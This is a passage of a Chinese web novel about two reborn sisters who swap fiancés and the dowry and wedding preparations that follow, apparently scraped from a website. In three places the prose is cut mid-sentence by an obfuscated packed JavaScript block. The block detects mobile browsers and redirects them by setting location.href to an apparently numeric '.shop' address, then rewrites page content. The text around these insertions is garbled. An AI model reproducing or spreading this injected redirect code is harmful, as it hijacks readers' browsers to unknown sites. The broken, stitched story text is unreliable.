《换亲后,炮灰主母掀桌了》 1. 重生换亲 “我都说了我不嫁!” 叶青漓跟着下人走在飘满荷花香气的长廊上,听着远处传来的争吵。 不动声色挑眉。 无论是原书剧情,还是上辈子的经验,叶蕙珠对顾国公府这桩婚事都是极为满意的。 怎么现在却吵着不愿嫁了? “那顾承宴不止是个道士,他还是个病秧子,短命鬼!” “他,他根本就不是一个男人!女儿不嫁!” 哦,果然她也重生了! 叶青漓摇头,眼底划过一抹戏谑。 上辈子顾承宴大婚那日就没回过顾家,之后更是一直住在山上道观里,难得与叶蕙珠见上一面。叶蕙珠到死都未与他同房,也难怪她不愿意嫁。 “你这丫头真是要气死我!”叶夫人陆怡珊恨铁不成钢的声音跟着传来。 “我们与顾家的婚事是十几年前定下的,你现在不嫁,我们如何与顾家交代?” 叶青漓满腹吐槽,却也极为认同陆怡珊的话: 叶父虽已是礼部侍郎,却也不敢轻易得罪百年传承的顾国公府。 这婚,叶蕙珠还是要结的。 毕竟本书剧情就是如此,再折腾也无用。 “让她嫁!” 长廊尽头,叶青漓刚露面,鼻尖上便多出一根纤纤玉指。 和它的主人一样无礼,傲慢! “姐姐?” 叶青漓歪了下头,把自己的鼻子从那根手指下移开。 她装作没听清的模样,轻笑一记,“老远便听见姐姐和母亲说话的声音了,你们方才在说什么?什么让我嫁?” 陆怡珊一见到这个丈夫背着她认进家门的义女就头疼,更加不愿让叶青漓看了两人的笑话。 她上前一步按下叶蕙珠的手,“没什么,不过是我们母女说的闲话……” “母亲为你说了门亲事,是顾国公府的大公子,你意下如何?”叶蕙珠不等陆怡珊开口劝阻,一气说出自己的打算。 叶青漓瞬间红了脸,轻咬下唇,“这,这不原本是姐姐的婚事吗?而且父亲曾说要将我嫁与新进京的举子,这,女儿到底要嫁谁?” 陆怡珊脸色铁青! 她本以为叶蕙珠只是叛逆了些,在自己面前耍耍小性子,没想到她真敢在叶青漓面前大放厥词! 她不愿让一个来路不明的义女看了笑话,沉声道:“怪我糊涂,只想着顾国公府的婚事配你,倒忘了先问一问老爷是否另有安排。” “既然如此,你的婚事还是等老爷回来再商议,我乏了,你也不必请安了,先回吧。” 叶青漓只作看不懂对面母女二人的眉眼官司,动作生疏地行了一礼便退下。 “你知道自己刚才在说什么吗?你让叶青漓嫁去顾家,那你呢?” “女儿就嫁去沈家好了,沈郎可比顾承宴有出息多了!” “住口!你今日是不是脑子出问题……” 刚出花厅,果然又听身后吵闹声起。 叶青漓扬起嘴角,看来这一世与上一世大有不同! 上一世叶青漓穿越而来,与叶蕙珠双双嫁人。 叶蕙珠嫁的是方才几人口中的顾国公府大公子顾承宴,叶青漓嫁的却只是一个还未及第的举人书生沈仕楣。 所嫁之人身份天差地别,婚后二人的生活自然也差异迥然! 叶青漓本以为她是叶府义女,叶家如此安排无可厚非。 然而婚后的某一天她恍然发现自己是穿越到一本小说里,而自己本是叶父原配嫡女! 可惜自己虽然只是小说里的背景板,却仍然逃不过剧情设定的强大,不仅无法为自己正名身份,甚至连与渣男和离都张不了口! 只能在剧情允许的情况下,努力让自己的生活变得更好。 怎料重生一次,剧情竟然变了?! 叶蕙珠也重生了,甚至想嫁给沈仕楣那个渣男! 她这么喜欢,自己当然要让给她! 花厅内,母女二人还在争吵。 “那沈家有什么好?乡下人家没有见识,一家子穷亲戚,沈仕楣更是个最普通不过的举人!甚至连进士都不是!你到底看重他哪一点?” 陆怡珊苦口婆心,叶蕙珠心里也苦得泛酸。 上一世自己听从娘的安排嫁进顾府,可那顾承宴分明就不是个男人,不能在家里给她撑腰就罢了,连孩子都不能给她一个!她固然做了一辈子的顾大少奶奶,可没有孩子,顾家的爵位和家产都便宜了她那继室婆婆生的儿子。 日子憋屈极了! 叶青漓就不一样了! 当初她嫁的虽然只是个穷举子,可那人上进,科举一次就过,几年外放回来就做了五品官。后得皇上信任,更是步步高升,她死之前还听说叶青漓被皇上封了一品诰命! 一品诰命的夫人啊!那是何等风光? 整个南朝有多少女子能有这个殊荣?就连她娘堂堂陆国公府独女都没有的待遇,偏偏让叶青漓那个死丫头得了去,她配吗? 叶蕙珠越想越激动,直接撂下一句,“女儿此生非沈郎不嫁!” 陆怡珊瞬间气得眼冒金星。 这份恼怒直到叶父叶修恺回来都未消散。 陆怡珊将叶蕙珠的事情一说,叶修恺立刻去劝她,可惜收效甚微。 叶蕙珠为达目的,甚至用上了绝食这个必杀手段! 三日后,夫妻二人果然妥协,向叶蕙珠承诺会给她们姐妹二人交换亲事。 得了承诺的叶蕙珠立刻来到叶青漓面前炫耀。 她看着正在种植花草,一手污泥的叶青漓,捏着手帕捂住鼻子。 “种花这种事自有下人动手,妹妹何必亲自上阵,把自己弄得这般狼狈?” 叶青漓早就了解她的这副德行,侍弄的动作未停,“姐姐今日怎么有心情到我这来?听说姐姐绝食了好几日,伤了身子,如今不该在房内好生修养吗?” 叶蕙珠抬了抬下巴,“我是来通知你的,爹爹将你的婚事定下了,就是嫁给顾国公府那位大公子,你以后就是顾家大少奶奶了!” 叶青漓抬起头,一脸不解。 “这样好的婚事,姐姐当真舍得让给我?” 叶蕙珠眯起双眼,满脸不怀好意。 “父亲认了你为义女,我自也把你看作妹妹。你从前长在乡里,没过过什么好日子,去了顾国公府好好享享清福,再好不过了!姐姐我在这提前祝你儿女成群,富贵在身!” “多谢姐姐!” 这反话说得可真是脸不红心不跳,若不是自己也重来一遭,恐怕真的要以为顾家是什么好去处了! 礼尚往来,叶青漓问起叶蕙珠的亲事。 “那姐姐又嫁的是什么人物?” “我要嫁的人是爹爹看中的那位沈公子!” 叶蕙珠语罢,叶青漓却静静的,一句惊叹也无。 她不自觉轻咳一声。 “嗯,你别看沈郞现在不怎么样,爹爹说了,他的文采不错,下次春闱定能高中!以后做官也一定能官居首辅,给我挣来一品诰命!” 叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578723|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青漓这才点头,“原来是这样!” “那妹妹就祝姐姐得偿所愿了!” 叶青漓随意将叶蕙珠敷衍过去,心底一味冷笑。 她总算明白叶蕙珠重生过来,不愿高嫁顾家却拼命要低嫁沈家的原因了。 竟是看中了那一品诰命? 殊不知那一品诰命是她自己挣来的,甚至沈仕楣的首辅之路也有自己的一半功劳! 人啊,还是要靠自己! 换亲并不只是说说而已。 叶家是有头有脸的人家,顾国公府更是。 好好的新娘从陆国公府外孙女叶府嫡女变成一个刚来京城没几天的义女,任谁都不满意! 然而顾国公府的情况与常人不同。 顾大公子是顾国公原配嫡妻所生,原配去世后,顾国公续娶赵氏,又生了一儿一女,顾家现在的当家主母正是这位赵夫人! 闻听嫁进来的大少奶奶换了人,赵夫人立刻上门询问缘由。 陆怡珊哪里能说是自己女儿被猪油蒙了心,死都不愿嫁去顾家? 她笑称是觉得叶青漓与顾承宴更有缘分,另拿出一份厚礼赠予赵夫人。 “这是我和老爷的一点心意,这婚事是我家多有不妥,还请夫人回去后能在国公爷面前替我们多多美言几句。” 赵夫人看着陆怡珊眼底的心疼,嘴角缓缓勾起。 “夫人说得哪里的话。儿女结亲自然是要看缘分的,叶大小姐既然与我们大公子无缘,我们也不好强求!”她一个眼神,身旁下人立刻将陆怡珊送上的厚礼收下,“如此,本夫人就在府中恭候叶二小姐进门了。” 送走贪心的赵夫人,陆怡珊瞬间冷了脸。 “呸!不过是个继室,也敢在我面前摆谱!” 不过也幸好赵氏只是继室,所以换亲才能如此顺利。 几日后,叶修恺书房内。 沈仕楣听完叶修恺的话后,呆呆的愣在原地。 “大,大人的意思是,要将叶家大小姐嫁给我?” 叶修恺端坐于桌后,一脸高深莫测。 “你是个有本事的,只是缺了一点底气。如今这份底气我给你,只盼你莫要辜负我儿!你可明白?” 沈仕楣骤然狂喜! 他能得叶大人看重嫁女已经是天大的恩赐了,本以为自己要娶的是叶大人刚认的义女,没想到叶大人竟如此看得起他,愿意将嫡长女嫁予自己? 有了叶家托底,再加上他的一身才华,前路一片光明啊! “学生定珍之爱之,绝不辜负吾妻!日后更加勤勉,不负大人今日之恩!” 几句话的功夫换来一个人对自己极度的崇拜和忠诚,叶修恺心情大好。 “嗯,你且去吧。” 沈仕楣得了一桩好亲事,只觉神清气爽,走在叶府中都不似来时那般拘谨,眉目舒展望向四周,全然一副主人之态。 忽然,他脚步顿住,目光被一处吸引。 只见不远处湖面波光粼粼,明媚的日光飘洒在碧荷上,随着清风摇摇晃晃,荷花浅粉,含苞待放,发出一阵沁人心脾的清香。 一女子慵懒倚在廊间,素手微抬露在日光下,无数莲蓬争先恐后挤向她手心,白得发光的食指随意停在一处,一朵嫩绿的莲蓬被人摘于手中。 风更大了,卷起那莲蓬的清香送到沈仕楣鼻尖,他轻嗅一记,其中似乎还夹杂着一种不知名的香味。 “她是谁?”沈仕楣听见自己的声音问道。 “那是老爷新认的义女,是府上的二小姐。” 2. 添妆 “二小姐……”不是叶府嫡女。 不知为何,他忽然觉得自己好像丢了什么重要的东西。 片刻后,沈仕楣摇头轻笑,提步离去。 湖的另一边,叶青漓并不知道自己上一世的未婚夫刚才就站在不远处看着自己。 她看着手中的莲蓬,心底涌起无尽悲伤。 她曾有一个朋友,为一点微薄之恩对自己掏心掏肺。 可惜,因自己的固执被剧情强制抹杀! 碧荷反射的日光照耀在莲蓬上,晃了叶青漓的眼睛。 她霎时间顿住! 不对,她重生一次,采莲现在应该也还活着! “来人,套车,我要去白云观!” 叶青漓清楚记得上辈子采莲曾说过自己有个弟弟,可惜当年逃难躲在白云观后山时,因中秋节偷吃供果被山上的道士打死了。 现在距离中秋还有好几日,想来她弟弟还活着。 “快点!” 叶青漓催了一声,车夫扬起马鞭,马儿吃痛,马车顿时跑得飞快。 抵达京郊白云观后,叶青漓下了马车直奔白云观后山。 她脚步飞快,将叶府的下人甩在身后。 大概是前世的缘分未尽,白云观的后山很大,可叶青漓凭着直觉一路来到一处破败的柴房门前。 屋内隐约传来一个女孩的声音,“阿弟别哭,等天黑我就去给你拿果子,吃果子就不饿了!” 又有一个稚嫩的童音响起,“嗯,阿姐我不饿了。” “吱呀——” 半掩的门忽然开了,采莲下意识将弟弟塞进草堆里,警惕地望着门口的人。 竟是个长得很漂亮的小姐? “你是谁?” 看见那熟悉又稚嫩的脸庞,叶青漓湿了眼眶,“我叫叶青漓,你可愿跟我走?” 采莲静静望着叶青漓,没有回答,她悄悄将弟弟露在外面的脚遮住。 “这位居士,缘何站在这里?” 叶青漓回头看见一个白云观的道士。 刚要开口,那道士忽地面目狰狞起来, “好啊,我说祖师爷的供果怎么老是变少,原来是你个小贼偷了去!看我不打死你!” 叶青漓顺着他的目光看去,果然采莲身边还有一个吃剩的果核。 那道士抬手就要捉住采莲教训,叶青漓连忙掏出一粒碎银。 “她拿了多少东西,我替她还!” 采莲和道士同时看向她。 前者满脸不可置信。 后者则啧怪一声,眯起眼睛半笑着。 “你这居士好没礼貌,供给祖师爷的东西是能用银子衡量的吗?” 叶青漓默不作声,从口袋拿出一锭大的。 “够了吗?” 道士眼睛瞪大了些,咽了咽口水。 “这……她在山上少说待了几个月,偷去的东西没有五十也有一,一百两!” “对,她偷了价值一百两的东西,你要带走她,先拿一百两银子出来!” 采莲见叶青漓两次拿出银子眼中隐有欣喜,听见一百两这个数字后瞬间捏起双拳。 没有人愿意拿一百两出来赎她的! 叶青漓自然也不愿意! 采莲只是偷了些果子,又不是卖给这道士了,交够果子钱就行了! 至于这道士敬酒不吃吃罚酒……叶青漓眸色微沉。 “来人!” 话音落下,原本落后于她的叶府下人立刻加快脚步赶到身边。 “二小姐。” “他要抢我银子,给我打!” “是。” “唉,你,你干什么?你怎么打人呢!” 道士看着将他围在中间的叶府下人,脸上露出害怕的表情。 “大不了五十两?” “打!” “哎呦!我的胳膊!啊!我的脸!别打了……别打了!哎呦……!” “住手!” 叶青漓回头,恍然间以为自己看见了神仙。 乖乖,世上真有男的长这么好看? 叶青漓没有开口,叶府的下人便未停下。 男子略一蹙眉,对着叶青漓道: “不知师弟何处惹恼了居士,我愿替他恕罪,还请看在白云观的面上放了他吧!” 声音倒像是冬日的泠泠山泉,清列好听。 可惜,说的话叫人不喜! 叶青漓瞧着打够了,抬手叫停几人,目光依旧灼灼盯着美人道士。 “本也不是什么大事,这两个小孩偷了贵观的供果,我想带他们走,便替他们出了买供果的钱。” “可你家师弟非要狮子大开口冲我要一百两!” 叶青漓两手一摊。 “我给不起一百两,只有给他一百个拳头了。” 地上出气多进气少的道士听见这话后,终于两眼一白,彻底昏死过去! 美人道士弄清楚缘由,冷眼扫向地上装死的某人。 “此事是师弟不对,还请居士原谅则个,至于偷供果的两人……” 他看向叶青漓身后的采莲,目露疑惑。 “还有一个躲在草里不敢出来呢!”叶青漓提醒。 美人道士点头,“福生无量天尊,三清祖师若知道自己的供果能为他们果腹,自然也是欣慰的。” “居士若想带走他们就带走吧!” “对嘛,这才是你们修道之人应有的胸襟!” 叶青漓使了个眼色,叶府的下人立刻识趣地将采莲和她弟弟一起带离这摇摇欲坠的小破屋。 路过美人道士时,叶青漓忽然停下。 “还不知道长叫什么名字?” “贫道道号,长生。” “我叫叶青漓,长生道长,你长得真好看!” 美人道士愣了片刻,再回头时已看不见叶青漓的影子,此地空留一阵清香…… * 能救下采莲和她弟弟,证明自己这一次重生没白来! 叶青漓想到这里,一路在马车上傻笑。 陈阿桥看着面前这个笑得又好看又奇怪的女人,忍不住小声问起。 “阿姐,这个姐姐为什么一直笑啊?” 车内只有他们三人,他的声音很轻易就飘进叶青漓耳朵里。 采莲连忙捂住他的嘴巴,害怕地望向叶青漓。 叶青漓无所谓摆摆手,“没事,不用怕,我开心所以才笑。” 采莲眼中的警惕依旧没少半分,将陈阿桥抱得紧紧的,“不知小姐带我们回去是要做什么?” 糟了! 采莲是个小心谨慎的性子,上一世自己在她被欺负时出面相救,她才对自己十分感激。 这一世自己突然出现带走两人,瞧着是有点不像好人哈! 叶青漓心中莞尔,语气刻意冷了几分, “带你们回去自然是给我做仆人的,你们两个偷吃白云观的供果,可花了我好些银子,回去后可得好好干活!” 刻薄的态度瞬间打消采莲心中惶恐。 既然要他们伺候,想必能吃饱饭! 变相安慰采莲一番后,马车内再次恢复平静,没多久几人就回到叶府。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578724|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叶青漓下了马车,发现叶府周围停了许多辆马车,其中一辆马车车头挂着她熟悉的标志。 她眼波微转,轻轻勾起嘴角。 她对采莲二人吩咐道:“你们先去我的院子等着,让府里人给你们准备些吃的,我一会就来。” 说罢,叶青漓转身去了陆怡珊的院子。 陆怡珊的院子此时正热闹。 她是陆国公独女,家中唯有几个哥哥,嫁与叶修恺后生下一儿一女。 儿子叶嘉伦如今还在书院读书,女儿叶蕙珠即将嫁人。 消息一放出去,陆怡珊的娘家人,叶修恺的亲友同僚,以及一些有求于陆国公的人纷纷赶来添妆。 叶青漓便是在这个时间走了进来。 “母亲。” 与陆怡珊聊得正欢的一个美妇人扭过头来,仔细端详了叶青漓一番。 “怡珊,这就是你家那位义女吧?生得真是花容月貌,竟还有几分像你,你可真有福气!” 陆怡珊敷衍地笑了笑。 “这孩子从前可怜,老爷也是因她性子文静才收为义女。” “青漓,快过来,这位是我闺中好友,如今的泾阳侯夫人,你便叫她一声姨母吧!” 叶青漓规规矩矩行了一礼,“姨母。” “好孩子,当真是个不错的!” 泾阳候夫人阙流婉将叶青漓拉到自己跟前,从自己手上褪下一根翠绿的玉镯。 “我瞧见你心中欢喜,可惜身上没带什么好东西,这支手镯就当做给你的见面礼了,回头我再让人补一份添妆过来。” 阙夫人好似完全看不懂陆怡珊越来越难看的脸,末了又补上一句。 “对了,叶府一日嫁两女,你们又是姐妹,想必这嫁妆也是一样的。你放心,我一定按照蕙珠的份给你安排!” 此话一出,坐在一旁的其他夫人们纷纷变了脸色。 她们来此添妆都是奔着陆国公的面子,哪里愿意为了一个不入流的义女破财? 众人不约而同看向坐在正中央的陆怡珊,等着她发话。 陆怡珊脸上依旧是完美无缺的笑,暗里却险些咬碎了一口银牙。 一个来路不明的义女,哪里配得上珠儿那样规格的嫁妆?可众目睽睽之下,难道叫她亲口承认自己待叶青漓远不如叶蕙珠? 她犹豫之时,叶青漓对着阙夫人轻轻摆手。 她一脸惶恐,小声嗫喏。 “哪里敢收夫人这样重的礼?” “何况青漓不过叶家义女,自然不比蕙珠姐姐,就是嫁去顾国公府成了顾家大少奶奶,也依旧是叶家义女,夫人还是莫要破费了!” 声音虽不大,却足够众人听清。 原本心中还有三分不情愿的夫人们,在听见顾国公府四个字时纷纷改变心意。 女子在家从父,出嫁可就从夫了! 叶青漓现在只是叶家义女,出嫁后却是顾国公府的大少奶奶! 那顾承宴既嫡又长,说不准以后继承爵位的就是他,用一份添妆卖未来顾国公夫人一个好。 这份买卖,值! “两个女儿同时出嫁,自然不能厚此薄彼,稍后我也会将添妆补上!” 有一就有二,众位夫人都跟人精似的,眼睛一转就想清楚利害。 很快,叶青漓就多了十几份价值不菲的添妆。 叶青漓又是个知恩图报的,站在原地腼腆地笑了笑。 “青漓进京时间不长,也未曾登门拜访,诸位夫人却如此客气,叫青漓实在惶恐。还请母亲替我记下诸位夫人的添妆,日后有机会我再一一回礼!” 3. 大婚 一句话,彻底断送陆怡珊在她嫁妆上做手脚的机会。 诸位添妆都是奔着有回报给的,若是日后与叶青漓对峙时发现东西少了,不就摆明了她这个义母私吞义女的嫁妆! 陆国公府和叶家都丢不起这个脸! 陆怡珊心中百转千回,放在面上却只是一句亲昵十足的嗔怪。 “你这丫头一早就出门疯耍,现在才回来。可知你们姐妹二人即将出嫁,你该和你姐姐一样好好在家代嫁才是!” “陆夫人说得是,二小姐很该把这件事放在心上!” 瞧瞧,人家一句话的功夫就把自己塑造成顽劣,贪玩,不知轻重不识大体的形象。 既踩了她一脚,又不刻意地捧了叶蕙珠一把。 叶青漓上辈子因为剧情限制可没少吃过这种亏! 不过现在……剧情早就崩坏了! 叶青漓温婉轻笑一记,“母亲误会我了,女儿不是去玩的,而是去京郊的白云观为我和姐姐祈福,祈祷三清祖师保佑我们姐妹二人婚事顺遂,心想事成!” “对了,女儿回来时还救下一对险些饿死的姐弟,方才几位夫人太热情一直忘了禀告母亲。” 南朝佛道并存,且都香火鼎盛。 白云观在京郊东侧。 金榜题名,娶妻生子,消灾解难,重病难愈等问题都可去拜拜,在座有不少夫人是那里的常客。 得知叶青漓是去祈福,且带上了叶蕙珠的份,阙夫人看向她的眼神里立刻添上几分慈爱。 “福生无量天尊!二小姐诚心祈福,又救下两人,是无上功德!” “怡珊,你说是吧?” 陆怡珊脸上假笑僵住,叶青漓却得寸进尺。 “女儿觉得我与那两人有缘,想将他们放在陪嫁队伍中一起去顾国公府,不知母亲可能同意?” 陆怡珊咬牙,“你能如此想,自是最好的!” 眼看着陆怡珊的笑容快坚持不住,叶青漓才提出离开。 “母亲这里与诸位夫人还有事聊,女儿就不在此打扰了。” 上辈子自己嫁的是沈仕楣,夫家不显,陆怡珊准备的嫁妆自然不怎么样。 叶青漓婚后因着这事吃了不少苦头! 顾国公府虽比沈家富贵,其中的龃龉也比沈家更多,这嫁妆银子自然是越多越好。 叶青漓也不指望陆怡珊真把自己的嫁妆准备得和叶蕙珠一样多,面上该有的能有就足够了! 了结此事,叶青漓心情大好,迫不及待想去和采莲分享。 蓦然间,身后传来熟悉的声音。 “二小姐,请等一下!” “原来是姨母?您不是在和母亲说话吗?怎么出来了?” 阙夫人自然地挽住叶青漓的胳膊,带着她往前走。 “坐得久了,出来活动活动。” “你母亲那里人多,说话也不太方便。我第一眼瞧见你就觉得有缘,日后你嫁进顾家出门方便,若是无事可多来泾阳候府走动走动。” 叶青漓看了眼身旁笑意盈盈的泾阳候夫人,不禁感慨对方的气度。 自己丈夫心心念念都是自己的闺中好友,还能日日在两人面前笑出来,当真是——内心强大! 不过,也多亏阙夫人,她的嫁妆才能成功翻倍。 叶青漓浅笑一记,“夫人的话,青漓记住了。” 目送阙夫人离开,叶青漓暗自奇怪。 明明叶蕙珠也重生了,为何不提醒陆怡珊,她的闺中密友早不和她一条心? 叶蕙珠自然想过利用自己重生,掌握先机,将未来可能面对的困难消灭于未起之时。 奈何,她前世嫁进顾家,丈夫形同虚设,公公高台稳坐,婆婆虎视眈眈,妯娌张牙舞爪。 自己的生活都是一团乱麻,哪里有时间关注一府之隔的陆怡珊? 叶蕙珠只记得,某年年节过后,母亲大病一场,鬓间增了许多白丝。 其他的一无所知! 不过重生也是有好处的。 还未问名,叶蕙珠便出高价请了京城最好的绣娘为自己定制婚服。 上一世她亲手缝制嫁衣,可惜顾承宴根本没有参加婚礼。害她苦守一夜,第二天成了整个京城的笑话! 这一次,笑话就留给叶青漓去当,她要穿着最美的婚服嫁给最值得的人! 除此之外,她还要早早给沈郎生下孩子! 叶蕙珠忙里忙外,两家婚事进入正轨。 问名,纳吉十分顺利。 纳征环节,叶蕙珠眉眼间的笑意骤然减少。 无他,沈家太穷了! 沈家称不上大富大贵,却也不算贫苦,一家老小吃得饱,穿得暖,还能供出一个举人书生,已经胜过南朝大部分人家。 可这些,放在百年富贵的顾国公府面前,就显得有些微不足道了! 叶蕙珠清楚沈家的实力,当初陆怡珊和叶修恺反复提起此事用来劝她改变心意,她都不改初心! 可今日看着两家送来的聘礼对比,叶蕙珠的心兀地凉了半截! 顾国公府前来送聘的是府里的管事,体态圆润,脸上带笑。 “顾叶两家结秦晋之好,我家夫人特命我将聘礼送上,请陆夫人过目!” 下人接过聘礼单子,陆怡珊匆匆扫了一眼,眼神微闪。 叶蕙珠躲在屏风后面,十分理解母亲此时心中的惊讶。 赵氏是继母,根本不愿在聘礼上出力。顾承宴娶妻,除了顾国公府公中出的一部分,剩下的多是顾承宴生母的嫁妆。 叶蕙珠曾是这份聘礼的主人,自然明白其中的价值! 她不自觉撕扯着手帕,又狠心别过头,剜了叶青漓一眼。 聘礼再多又如何? 顾家连一个正经主子都没来。 不被重视,将来又没有孩子,便是金山银山也只能归了赵氏母子去! 还是沈家好,只要熬过外放那几年,往后便全是好日子! 沈仕楣无功名在身,等顾国公府送聘的人走了,他与母亲裘氏才进来。 “晚辈见过夫人,今日来是为送上聘礼,以求娶府中大小姐。” 说话间,叶府下人将他提前送上的聘礼单子递上来。 陆怡珊盯着看了半晌,不明喜怒。 叶蕙珠的手帕再次被揪起,很是看不上那些东西。 叶青漓从旁瞧着,忍不住回忆自己前世这时的感受。 好像……没什么感觉。 她那会还不知道自己穿书了,更不知自己是叶父亲女。 当时她只觉得叶父待她不错,半路认来的女儿也肯出嫁妆,还为她寻了个长得不错的夫君。 叶青漓摸了摸鼻子,她那时大概眼瞎了! 沈仕楣自知自己家底薄,礼单比不上顾国公府,连忙补充道: “晚辈还打了两只大雁作为聘礼,愿与大小姐永结同好,一心一意,此生珍之爱之!” 裘氏在一旁附和,“是呀,我儿为了这对大雁可吃了不少苦!” 闻言,陆怡珊面色稍有缓和。 “嗯,你有心了。” 送聘之后,陆怡珊准备了两份嫁妆,一律是一千两银票,两间铺子,十亩良田。铺子兴旺与否,田地肥沃与否不可深究。把两位姑爷送来的聘礼分别并入其中,再将各自添妆放进去,便是准备妥当。 当然,沈家的聘礼实在不够格,陆怡珊为了让叶蕙珠嫁妆能好看些,私底下没少挪动其他帮她填补。 如此,二人的嫁妆都凑够了一百二十抬! 顾承宴年岁不小,顾国公府急着让他成家。 沈仕楣同样要为明年的春闱做准备,不可耽搁太久。 几家商议之后,两姐妹婚期都被定在最近的吉日: 冬月初八,上上大吉。 女子出嫁乃是于归之喜,取的是双喜临门的好兆头! 转眼快到婚期,叶蕙珠被陆怡珊叫过去嘱咐婚后注意事项。 叶青漓则被叶修恺叫到书房。 加上前世,这是叶青漓第二次来到他的书房。 她还记得那日也是她出嫁前一天,她还沉浸在第一次嫁人的紧张中,蓦然听叶修恺说到嫁人后便是沈家的人,往后生死祸福不必回来时,如同被人当头泼了一盆凉水,狠狠愣在当场。 好半天叶青漓才反应过来,自己只是叶修恺义女,人家已经做到仁至义尽。 不知今日,他还会说同样的话吗? “父亲。” “你来了。” 叶修恺端坐于桌前,表情与前世没什么不同,只是面前多了一个木盒。 “明日便要出嫁,现在感觉如何?” 叶青漓垂下眼睫,说着和上一次同样的话,“女儿有些紧张。” 正当叶青漓以为叶修恺会立刻与她割断关系时,耳边传来他充满温情的轻笑。 “不必紧张,虽说女子嫁人后是另一番景象,可我已认你为义女,以后不论你是什么身份,你都可以是我的女儿!” 叶青漓沉默片刻,“女儿记下了。” 两人本就碰面不多,叶修恺也不指望叶青漓能和叶蕙珠一样抱着他撒娇。 他点了点桌面,“打开看看。” 叶青漓打开木盒,入目是一叠面值一千两的银票,初步估计,少说有三十张。 “父亲,这是?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578725|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叶修恺轻抚美髯,自顾自道: “叶家是你的娘家,亦是你的靠山。顾国公府是高门大户,你嫁过去后少不了用银子的地方,这几万两银子你拿着。做了顾家大少奶奶后,要侍奉夫君,孝顺公婆,友爱妯娌。顾大公子如今年少叛逆,你好生规劝,日后等他袭爵,你便是顾国公夫人。” “到那时,你若有心,看在为父的面子上多多帮衬嘉伦。” 叶嘉伦,叶父独子,今年十五,正在读书。 等她坐到顾国公夫人的位置上,叶嘉伦想必已入朝为官。 义姐是一品诰命的夫人,亲外祖父是陆国公,父亲又官至礼部侍郎。 叶嘉伦,前途无量啊! 叶青漓高举木盒向叶修恺俯身,遮住了眼底复杂的嘲讽。 “父亲所言极是,女儿日后统管顾府,定不忘多提携嘉伦阿弟。只是那赵氏乃顾国公继室,膝下又有一子,若要从她手下得权,恐怕这些银子……不够啊。” 叶修恺摸着胡须的手一顿,锐利的目光扫向叶青漓,却只看见她头顶的乌发。 半晌,他再次开口,“为父还以为你与慧珠一样……” “没想到你竟早就考虑到赵氏!也罢,为父就再送你些体己,也好方便你尽早在顾家站稳脚跟!” 叶修恺说罢,又从一旁拿出几十张银票。 叶青漓拿着新到手的‘体己’,再次俯身。 “多谢父亲!” 与此同时,陆怡珊母女也聊到叶青漓。 “珠儿,你当真不后悔吗?你难道真要眼看着那来路不明的义女顶了你的位置,做顾国公夫人?” 叶蕙珠贴在陆怡珊怀里,眼中满是坏笑。 “娘,你且等着吧,明日你就会知道女儿的选择有多么正确!” * 晨光熹微时,叶府已忙碌不休。 叶青漓早早被喜婆叫起,浣面、开脸、着新妆、换红衣。 她看着镜子里的自己,不禁莞尔:家财万贯还不用伺候丈夫的生活,她来了! 另一头,叶蕙珠那边却是忙得热火朝天。 嫁衣是按照叶蕙珠的身材定制的,可那时是夏日,如今初入寒冬,免不得内里塞几件夹袄,尺寸合适的嫁衣便有些紧了。 只是瞧着有几分臃肿。 倒也不打紧。 天寒地冻,来往宾客皆是如此。 偏叶蕙珠极其重视这次婚事,不允许出现一丝一毫的瑕疵! 她看着自己完美无瑕的脸,和那看不出一丝曲线的嫁衣,狠狠咬牙。 “脱!” 吉时将至,陆怡珊与叶修恺在前厅接待宾客。 忽听喜婆大喊一声,“新娘子来了!” 众人立刻望向某处。 先走出来的是叶蕙珠,她一出场瞬间吸引了在场所有人的目光。 女子一身正红色织金攒花嫁衣,满头珠翠金饰,看得人眼睛都花了! “叶家大小姐真美!” “沈公子真是有福了!” “是呀,早知道我就为我儿求娶叶大小姐了!” “还能不计富贵,嫁与一介书生,令人钦佩!” 旁边人的赞美尽数传入叶蕙珠耳中,她努力将背挺得更直。 瞧,这才是属于她的时刻! 就连新郎官沈仕楣,望着明媚动人的叶蕙珠,也压制不住嘴角的笑意。 叶蕙珠接过喜婆手中的红绸,站在了他身旁。 叶青漓便在这时走了出来。 虽没有叶蕙珠那般富贵的嫁衣,精致的妆容,也一样美得让人移不开眼。 只是当她站在叶蕙珠身侧时,众人才发现似乎少了什么。 “咦,顾家新郎官怎么没来?” “是呀,吉时都快过了,也没瞧见他的影子!” “该不会是不来了吧?听说顾家大公子已经去做道士了!” “那新娘子怎么办?让她一个人拜堂吗?” “这……哎,造孽啊!” 每有人发出一句疑问,叶蕙珠嘴角的笑意便更深一些! 